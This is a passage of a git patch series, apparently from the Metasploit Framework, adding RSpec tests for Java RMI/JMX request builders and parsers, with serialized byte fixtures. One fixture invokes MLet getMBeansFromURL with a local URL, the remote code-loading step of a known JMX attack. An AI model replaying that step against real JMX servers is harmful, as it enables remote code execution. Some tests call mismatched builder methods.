Mar 2015 16:04:18 -0500 Subject: [PATCH 37/58] Add specs for Msf::Java::Rmi::Client::Jmx::Server::Builder --- .../rmi/client/jmx/server/builder_spec.rb | 83 +++++++++++++++++++ 1 file changed, 83 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb diff --git a/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb new file mode 100644 index 0000000000..42ebde3b17 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb @@ -0,0 +1,83 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Jmx::Server::Builder do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_new_client) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" + end + + let(:auth_stream) do + "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + + "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + + "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + + "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" + end + + let(:credentials_new_client) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x75\x72\x00\x13\x5b\x4c\x6a" + + "\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b" + + "\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00" + + "\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74\x00\x08\x70\x61\x73\x73" + + "\x77\x6f\x72\x64" + end + + let(:new_client_opts) do + { + username: 'role', + password: 'password' + } + end + + describe "#build_jmx_new_client" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a lookup Call for an empty name" do + expect(mod.build_jmx_new_client.encode).to eq(default_new_client) + end + end + + context "when opts with credentials" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client(new_client_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a newClient Call with credentials" do + expect(mod.build_jmx_new_client(new_client_opts).encode).to eq(credentials_new_client) + end + end + end + + describe "#build_jmx_new_client_args" do + it "return an Array" do + expect(mod.build_jmx_new_client_args('role', 'password')).to be_an(Array) + end + + it "returns an Array with a Rex::Java::Serialization::Model::NewArray" do + expect(mod.build_jmx_new_client_args('role', 'password')[0]).to be_a(Rex::Java::Serialization::Model::NewArray) + end + + it "builds a correct stream" do + expect(mod.build_jmx_new_client_args('role', 'password')[0].encode).to eq(auth_stream) + end + end +end + From 115c4e5a064200205327d46d381eb824f6944970 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 16:37:05 -0500 Subject: [PATCH 38/58] Add first specs for Msf::Java::Rmi::Client::Jmx::Connection::Builder --- .../rmi/client/jmx/connection/builder_spec.rb | 69 +++++++++++++++++++ 1 file changed, 69 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb diff --git a/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb new file mode 100644 index 0000000000..e3770b85f6 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb @@ -0,0 +1,69 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'stringio' +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:default_get_object_instance) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" + end + + let(:mlet_name) do + 'DefaultDomain:type=MLet' + end + + let(:mlet_get_object_instance) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" + end + + describe "#build_jmx_get_object_instance" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a getObjectInstance call for an empty object name" do + expect(mod.build_jmx_new_client.encode).to eq(default_get_object_instance) + end + end + + context "when opts with class name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_new_client(name: mlet_name)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a newClient Call with credentials" do + expect(mod.build_jmx_new_client(name: mlet_name).encode).to eq(mlet_get_object_instance) + end + end + end + + describe "#build_jmx_new_client_args" do + it "return an Array" do + expect(mod.build_jmx_get_object_instance_args(mlet_name)).to be_an(Array) + end + + it "returns an Array with 4 elements" do + expect(mod.build_jmx_get_object_instance_args(mlet_name).length).to eq(4) + end + + it "returns an Array whose second element is an utf string with the object name" do + expect(mod.build_jmx_get_object_instance_args(mlet_name)[1].contents).to eq(mlet_name) + end + end +end + From 0a352fc7d49bc4e27b07eddcef0f8cb290cc90bf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 17:06:05 -0500 Subject: [PATCH 39/58] Finish specs for Msf::Java::Rmi::Client::Jmx::Connection::Builder --- .../rmi/client/jmx/connection/builder_spec.rb | 157 +++++++++++++++++- 1 file changed, 152 insertions(+), 5 deletions(-) diff --git a/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb b/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb index e3770b85f6..e69563a88c 100644 --- a/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb +++ b/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb @@ -14,22 +14,76 @@ describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do mod end + let(:mlet_name) do + 'DefaultDomain:type=MLet' + end + let(:default_get_object_instance) do "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" end - let(:mlet_name) do - 'DefaultDomain:type=MLet' - end - let(:mlet_get_object_instance) do "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + "\xff\xf0\xe0\x74\xea\xad\x0c\xae\xa8\x70" end + let(:mbean_name) do + 'javax.management.loading.MLet' + end + + let(:default_create_mbean) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70" + end + + let(:mlet_create_mbean) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x1d\x6a\x61\x76\x61" + + "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x6c\x6f\x61" + + "\x64\x69\x6e\x67\x2e\x4d\x4c\x65\x74\x70\x70" + end + + let(:invoke_opts) do + { + object: 'DefaultDomain:type=MLet', + method: 'getMBeansFromURL', + args: { 'java.lang.String' => "http://127.0.0.1/mlet" } + } + end + + let(:default_invoke) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x13\xe7\xd6\x94\x17\xe5\xda\x20\x73\x72\x00\x1b\x6a\x61\x76" + + "\x61\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62" + + "\x6a\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf" + + "\x03\x00\x00\x70\x78\x70\x74\x00\x00\x78\x74\x00\x00\x73\x72\x00" + + "\x19\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x4d\x61\x72\x73\x68\x61" + + "\x6c\x6c\x65\x64\x4f\x62\x6a\x65\x63\x74\x7c\xbd\x1e\x97\xed\x63" + + "\xfc\x3e\x02\x00\x03\x49\x00\x04\x68\x61\x73\x68\x5b\x00\x08\x6c" + + "\x6f\x63\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x5b\x00\x08\x6f" + + "\x62\x6a\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x70\x78\x70\x72" + + "\x69\x21\xc6\x70\x75\x72\x00\x02\x5b\x42\xac\xf3\x17\xf8\x06\x08" + + "\x54\xe0\x02\x00\x00\x70\x78\x70\x00\x00\x00\x2c\xac\xed\x00\x05" + + "\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e" + + "\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02" + + "\x00\x00\x78\x70\x00\x00\x00\x00\x75\x72\x00\x13\x5b\x4c\x6a\x61" + + "\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad" + + "\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00" + + "\x00\x70" + end + + let(:invoke_with_data) do + "\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff" + + "\xff\x22\xd7\xfd\x4a\x90\x6a\xc8\xe6\x74\x00\x00\x70\x70" + end + describe "#build_jmx_get_object_instance" do context "when no opts" do it "creates a Rex::Proto::Rmi::Model::Call" do @@ -46,7 +100,7 @@ describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do expect(mod.build_jmx_new_client(name: mlet_name)).to be_a(Rex::Proto::Rmi::Model::Call) end - it "creates a newClient Call with credentials" do + it "creates a getObjectInstance Call with credentials" do expect(mod.build_jmx_new_client(name: mlet_name).encode).to eq(mlet_get_object_instance) end end @@ -65,5 +119,98 @@ describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do expect(mod.build_jmx_get_object_instance_args(mlet_name)[1].contents).to eq(mlet_name) end end + + describe "#build_jmx_create_mbean" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_create_mbean).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a createMBean call for an empty object name" do + expect(mod.build_jmx_create_mbean.encode).to eq(default_create_mbean) + end + end + + context "when opts with class name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_create_mbean(name: mbean_name)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a createMBean Call with credentials" do + expect(mod.build_jmx_create_mbean(name: mbean_name).encode).to eq(mlet_create_mbean) + end + end + end + + describe "#build_jmx_create_mbean_args" do + it "return an Array" do + expect(mod.build_jmx_create_mbean_args(mbean_name)).to be_an(Array) + end + + it "returns an Array with 3 elements" do + expect(mod.build_jmx_create_mbean_args(mbean_name).length).to eq(3) + end + + it "returns an Array whose first element is an utf string with the object name" do + expect(mod.build_jmx_create_mbean_args(mbean_name)[0].contents).to eq(mbean_name) + end + end + + + describe "#build_jmx_invoke" do + context "when no opts" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_invoke).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a default invoke" do + expect(mod.build_jmx_invoke.encode).to eq(default_invoke) + end + end + + context "when opts with class name" do + it "creates a Rex::Proto::Rmi::Model::Call" do + expect(mod.build_jmx_create_mbean(invoke_opts)).to be_a(Rex::Proto::Rmi::Model::Call) + end + + it "creates a invoke call with the opts data" do + expect(mod.build_jmx_create_mbean(invoke_opts).encode).to eq(invoke_with_data) + end + end + end + + describe "#build_jmx_invoke_args" do + it "return an Array" do + expect(mod.build_jmx_invoke_args(invoke_opts)).to be_an(Array) + end + + it "returns an Array with 7 elements" do + expect(mod.build_jmx_invoke_args(invoke_opts).length).to eq(7) + end + + it "returns an Array whose second element is an utf string with the object name" do + expect(mod.build_jmx_invoke_args(invoke_opts)[1].contents).to eq(mlet_name) + end + + it "returns an Array whose third element is an utf string with the method name" do + expect(mod.build_jmx_invoke_args(invoke_opts)[3].contents).to eq('getMBeansFromURL') + end + end + + describe "#build_invoke_arguments_obj_bytes" do + it "return an Rex::Java::Serialization::Model::Stream" do + expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args])).to be_a(Rex::Java::Serialization::Model::Stream) + end + + it "returns an stream with one content" do + expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents.length).to eq(1) + end + + it "returns an stream with NewArray" do + expect(mod.build_invoke_arguments_obj_bytes(invoke_opts[:args]).contents[0]).to be_a(Rex::Java::Serialization::Model::NewArray) + end + end + + end From e20398a70a89c7971b7eb175d4197539f4c23b2b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 17:30:06 -0500 Subject: [PATCH 40/58] Add specs for Msf::Java::Rmi::Client::Jmx::Server::Parser --- .../java/rmi/client/jmx/server/parser_spec.rb | 74 +++++++++++++++++++ 1 file changed, 74 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb diff --git a/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb b/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb new file mode 100644 index 0000000000..a88dfdfc5b --- /dev/null +++ b/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb @@ -0,0 +1,74 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' + +describe Msf::Java::Rmi::Client::Jmx::Server::Parser do + subject(:mod) do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Java::Rmi::Client + mod.send(:initialize) + mod + end + + let(:new_client_return) do + raw = "\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c\x48" + + "\x27\x84\x49\x80\xb8\x73\x72\x00\x32\x6a\x61\x76\x61\x78\x2e\x6d" + + "\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74\x65" + + "\x2e\x72\x6d\x69\x2e\x52\x4d\x49\x43\x6f\x6e\x6e\x65\x63\x74\x69" + + "\x6f\x6e\x49\x6d\x70\x6c\x5f\x53\x74\x75\x62\x00\x00\x00\x00\x00" + + "\x00\x00\x02\x02\x00\x00\x70\x78\x72\x00\x1a\x6a\x61\x76\x61\x2e" + + "\x72\x6d\x69\x2e\x73\x65\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74" + + "\x65\x53\x74\x75\x62\xe9\xfe\xdc\xc9\x8b\xe1\x65\x1a\x02\x00\x00" + + "\x70\x78\x72\x00\x1c\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x73\x65" + + "\x72\x76\x65\x72\x2e\x52\x65\x6d\x6f\x74\x65\x4f\x62\x6a\x65\x63" + + "\x74\xd3\x61\xb4\x91\x0c\x61\x33\x1e\x03\x00\x00\x70\x78\x70\x77" + + "\x37\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31" + + "\x37\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x32\x00\x00\x13" + + "\x26\x08\xd9\x72\x63\x38\x4c\x6b\x7c\x82\x73\x92\x35\x00\x00\x01" + + "\x4c\x48\x27\x84\x49\x80\xb7\x01\x78" + io = StringIO.new(raw, 'rb') + rv = Rex::Proto::Rmi::Model::ReturnValue.new + rv.decode(io) + + rv + end + + let(:remote_object) { 'javax.management.remote.rmi.RMIConnectionImpl_Stub' } + let(:remote_interface) do + { + address: '172.16.158.132', + port: 4902, + object_number: 637666592721496956 + } + end + + describe "#parse_jmx_new_client_endpoint" do + it "returns the remote reference information in a Hash" do + expect(mod.parse_jmx_new_client_endpoint(new_client_return)).to be_a(Hash) + end + + it "returns the remote address" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:address]).to eq(remote_interface[:address]) + end + + it "returns the remote port" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:port]).to eq(remote_interface[:port]) + end + + it "returns the remote object number" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:object_number]).to eq(remote_interface[:object_number]) + end + + it "returns the remote object unique identifier" do + ref = mod.parse_jmx_new_client_endpoint(new_client_return) + expect(ref[:uid]).to be_a(Rex::Proto::Rmi::Model::UniqueIdentifier) + end + end +end + From 0fe98bc02383dcc9448cb6965f4e6a6c38f81289 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 17:30:37 -0500 Subject: [PATCH 41/58] Delete old JMX mixin specs --- spec/lib/msf/java/jmx/handshake_spec.rb | 48 ------- .../java/jmx/mbean/server_connection_spec.rb | 93 -------------- spec/lib/msf/java/jmx/util_spec.rb | 121 ------------------ 3 files changed, 262 deletions(-) delete mode 100644 spec/lib/msf/java/jmx/handshake_spec.rb delete mode 100644 spec/lib/msf/java/jmx/mbean/server_connection_spec.rb delete mode 100644 spec/lib/msf/java/jmx/util_spec.rb diff --git a/spec/lib/msf/java/jmx/handshake_spec.rb b/spec/lib/msf/java/jmx/handshake_spec.rb deleted file mode 100644 index 7c6d3d9ebe..0000000000 --- a/spec/lib/msf/java/jmx/handshake_spec.rb +++ /dev/null @@ -1,48 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'stringio' -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Handshake do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:handshake_stream) do - "\xac\xed\x00\x05\x77\x0d\x30\xff\xff\xff\xff\xf0\xe0\x74\xea\xad" + - "\x0c\xae\xa8\x70" - end - - let(:auth_stream) do - "\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53" + - "\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00" + - "\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x04\x72\x6f\x6c\x65\x74" + - "\x00\x08\x70\x61\x73\x73\x77\x6f\x72\x64" - end - - describe "#handshake_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.handshake_stream(0)).to be_a(Rex::Java::Serialization::Model::Stream) - end - - it "builds a correct stream" do - expect(mod.handshake_stream(0).encode).to eq(handshake_stream) - end - end - - describe "#auth_array_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.auth_array_stream('role', 'password')).to be_a(Rex::Java::Serialization::Model::NewArray) - end - - it "builds a correct stream" do - expect(mod.auth_array_stream('role', 'password').encode).to eq(auth_stream) - end - end -end - diff --git a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb b/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb deleted file mode 100644 index a8b34d697d..0000000000 --- a/spec/lib/msf/java/jmx/mbean/server_connection_spec.rb +++ /dev/null @@ -1,93 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Mbean::ServerConnection do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:mbean_sample) { 'MBeanSample' } - let(:sample_args) do - {'arg1' => 'java.lang.String'} - end - - describe "#create_mbean_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.create_mbean_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.create_mbean_stream.contents[1].contents).to eq('') - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.create_mbean_stream(name: mbean_sample).contents[1].contents).to eq(mbean_sample) - end - end - end - - describe "#get_object_instance_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.get_object_instance_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.get_object_instance_stream.contents[2].contents).to eq('') - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.get_object_instance_stream(name: mbean_sample).contents[2].contents).to eq(mbean_sample) - end - end - end - - describe "#invoke_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.invoke_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.invoke_stream.contents[2].contents).to eq('') - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.invoke_stream(object: mbean_sample).contents[2].contents).to eq(mbean_sample) - end - end - end - - describe "#invoke_arguments_stream" do - it "returns a Rex::Java::Serialization::Model::Stream" do - expect(mod.invoke_arguments_stream).to be_a(Rex::Java::Serialization::Model::Stream) - end - - context "when no opts" do - it "builds a default stream" do - expect(mod.invoke_arguments_stream.contents[0].values.length).to eq(0) - end - end - - context "when opts" do - it "builds a stream having opts into account" do - expect(mod.invoke_arguments_stream(sample_args).contents[0].values[0].contents).to eq(sample_args['arg1']) - end - end - end - -end - diff --git a/spec/lib/msf/java/jmx/util_spec.rb b/spec/lib/msf/java/jmx/util_spec.rb deleted file mode 100644 index 97b3f7abfc..0000000000 --- a/spec/lib/msf/java/jmx/util_spec.rb +++ /dev/null @@ -1,121 +0,0 @@ -# -*- coding:binary -*- -require 'spec_helper' - -require 'stringio' -require 'rex/java' -require 'msf/java/jmx' - -describe Msf::Java::Jmx::Util do - subject(:mod) do - mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Jmx - mod.send(:initialize) - mod - end - - let(:empty) { '' } - let(:empty_io) { StringIO.new(empty) } - let(:string) { "\x00\x04\x41\x42\x43\x44" } - let(:string_io) { StringIO.new(string) } - let(:int) { "\x00\x00\x00\x04" } - let(:int_io) { StringIO.new(int) } - let(:stream_raw) do - "\xac\xed\x00\x05\x77\x22\x7b\xb5\x91\x73\x69\x12\x77\xcb\x4a\x7d" + - "\x3f\x10\x00\x00\x01\x4a\xe3\xed\x2f\x53\x81\x03\xff\xff\xff\xff" + - "\x60\x73\xb3\x36\x1f\x37\xbd\xc2\x73\x72\x00\x1b\x6a\x61\x76\x61" + - "\x78\x2e\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x4f\x62\x6a" + - "\x65\x63\x74\x4e\x61\x6d\x65\x0f\x03\xa7\x1b\xeb\x6d\x15\xcf\x03" + - "\x00\x00\x70\x78\x70\x74\x00\x1d\x4d\x4c\x65\x74\x43\x6f\x6d\x70" + - "\x72\x6f\x6d\x69\x73\x65\x3a\x6e\x61\x6d\x65\x3d\x65\x76\x69\x6c" + - "\x2c\x69\x64\x3d\x31\x78\x70" - end - let(:stream) { Rex::Java::Serialization::Model::Stream.decode(StringIO.new(stream_raw)) } - - let(:contents_unicast_ref) do - "\x00\x0a\x55\x6e\x69\x63\x61\x73\x74\x52\x65\x66\x00\x0e\x31\x37" + - "\x32\x2e\x31\x36\x2e\x31\x35\x38\x2e\x31\x33\x31\x00\x00\x0b\xf1" + - "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a" + - "\xdf\xd4\x57\x7e\x80\x01\x01" - end - let(:unicast_ref_io) do - StringIO.new(Rex::Java::Serialization::Model::BlockData.new(nil, contents_unicast_ref).contents) - end - let(:unicast_ref) do - { - :address => '172.16.158.131', - :id => "\x54\x74\xc4\x27\xb7\xa3\x4e\x9b\x51\xb5\x25\xf9\x00\x00\x01\x4a\xdf\xd4\x57\x7e\x80\x01\x01", - :port => 3057 - } - end - - - describe "#extract_string" do - context "when io contains a valid string" do - it "returns the string" do - expect(mod.extract_string(string_io)).to eq('ABCD') - end - end - - context "when io doesn't contain a valid string" do - it "returns nil" do - expect(mod.extract_string(empty_io)).to be_nil - end - end - end - - describe "#extract_int" do - context "when io contains a valid int" do - it "returns the string" do - expect(mod.extract_int(int_io)).to eq(4) - end - end - - context "when io doesn't contain a valid int" do - it "returns nil" do - expect(mod.extract_int(empty_io)).to be_nil - end - end - end - - describe "#extract_object" do - context "when empty stream" do - it "returns nil" do - empty_stream = Rex::Java::Serialization::Model::Stream.new - expect(mod.extract_object(empty_stream, 1)). to be_nil - end - end - - context "when valid stream" do - context "when id stores an object" do - it "returns the object's class name" do - expect(mod.extract_object(stream, 1)).to eq('javax.management.ObjectName') - end - end - - context "when id doesn't store an object" do - it "returns nil" do - expect(mod.extract_object(stream, 0)). to be_nil - end - end - end - end - - describe "#extract_unicast_ref" do - context "when empty io" do - it "returns nil" do - expect(mod.extract_unicast_ref(empty_io)). to be_nil - end - end - - context "when valid io" do - it "returns a hash" do - expect(mod.extract_unicast_ref(unicast_ref_io)).to be_a(Hash) - end - - it "returns a hash containing the UnicastRef information" do - expect(mod.extract_unicast_ref(unicast_ref_io)).to eq(unicast_ref) - end - end - end -end - From 464a6df5e026e23c3b10d0cdf49b55308638bc58 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 24 Mar 2015 18:42:35 -0500 Subject: [PATCH 42/58] Add specs for Msf::Java::Rmi::Client::Registry --- lib/msf/java/rmi/client.rb | 1 + spec/lib/msf/java/rmi/client/registry_spec.rb | 231 ++++++++++++++++++ 2 files changed, 232 insertions(+) create mode 100644 spec/lib/msf/java/rmi/client/registry_spec.rb diff --git a/lib/msf/java/rmi/client.rb b/lib/msf/java/rmi/client.rb index c6bf1609c8..16c207f4bb 100644 --- a/lib/msf/java/rmi/client.rb +++ b/lib/msf/java/rmi/client.rb @@ -107,6 +107,7 @@ module Msf def recv_return(opts = {}) nsock = opts[:sock] || sock data = safe_get_once(nsock) + puts "#{Rex::Text.to_hex(data)}" begin return_data = Rex::Proto::Rmi::Model::ReturnData.decode(StringIO.new(data)) rescue ::RuntimeError => e diff --git a/spec/lib/msf/java/rmi/client/registry_spec.rb b/spec/lib/msf/java/rmi/client/registry_spec.rb new file mode 100644 index 0000000000..4c707b1ee5 --- /dev/null +++ b/spec/lib/msf/java/rmi/client/registry_spec.rb @@ -0,0 +1,231 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/java/serialization' +require 'rex/proto/rmi' +require 'msf/java/rmi/client' +require 'stringio' + +describe Msf::Java::Rmi::Client::Registry do + + let(:list_with_names_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xb9\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74" + + "\x00\x06\x6a\x6d\x78\x72\x6d\x69" + end + + let(:list_empty_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\xbb\x2e\x19\xae\x00\x00\x01\x4c" + + "\x32\xa9\x92\x56\x80\x04\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61" + + "\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56" + + "\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00" + end + + let(:lookup_response) do + "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + + "\x48\x27\x84\x49\x80\xba\x73\x72\x00\x2e\x6a\x61\x76\x61\x78\x2e" + + "\x6d\x61\x6e\x61\x67\x65\x6d\x65\x6e\x74\x2e\x72\x65\x6d\x6f\x74" + + 